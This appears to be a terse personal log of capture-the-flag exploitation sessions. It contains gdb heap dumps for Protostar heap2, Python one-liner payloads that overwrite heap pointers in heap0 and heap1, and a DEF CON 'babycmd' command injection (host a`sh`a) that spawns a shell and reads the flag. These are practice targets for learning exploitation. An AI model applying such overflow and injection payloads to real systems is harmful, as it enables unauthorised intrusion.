[ auth = 0x804c038, service = 0x804c018 ]

auth AAAAAAAAAAAAAAAABBBB

[ auth = 0x804c048, service = 0x804c018 ]

login

please enter your password

[ auth = 0x804c048, service = 0x804c018 ]

auth A

[ auth = 0x804c058, service = 0x804c018 ]

service 123456789ABCEDEF

[ auth = 0x804c058, service = 0x804c068 ]

login

you have logged in already!

[ auth = 0x804c058, service = 0x804c068 ]

^Z

Program received signal SIGTSTP, Stopped (user).

0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82

82 in ../sysdeps/unix/syscall-template.S

(gdb) x/60x 0x804c000

0x804c000: 0x00000000 0x00000011 0x41414141 0x0000000a

0x804c010: 0x00000000 0x00000011 0x0000000a 0x00000000

0x804c020: 0x00000000 0x00000011 0x42424242 0x0000000a

0x804c030: 0x00000000 0x00000011 0x34333231 0x38373635

0x804c040: 0x43424139 0x00000011 0x41414141 0x41414141

0x804c050: 0x41414141 0x00000011 0x00000a41 0x0000000a

0x804c060: 0x00000000 0x00000019 0x33323120 0x37363534

0x804c070: 0x42413938 0x45444543 0x00000a46 0x41414119

0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000

(gdb) 

user@protostar:/opt/protostar/bin$ ./heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c "print '\x94\x84\x04\x08'"`

and we have a winner @ 1480261669

user@protostar:/opt/protostar/bin$ ./heap0 `python -c "print 'A'*72+'\x64\x84\x04\x08'"`

data is at 0x804a008, fp is at 0x804a050

level passed

┌─[b4sh5i@ubuntu] - [~/Downloads/defcon/2015/babycmd] - [Thu Jan 12, 15:33]

└─[$] <> ./babycmd 

Welcome to another Baby's First Challenge!

Commands: ping, dig, host, exit

: host a`sh`a

id

cat flag

exit

host: 'auid=1000(b4sh5i) gid=1000(b4sh5i) groups=1000(b4sh5i),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

FLAG{flag_Is_ang_Gim0_D}a' is not in legal name syntax (label too long)

Commands: ping, dig, host, exit

: 

Fedora Core 3 _ 정복

// Rop 기무디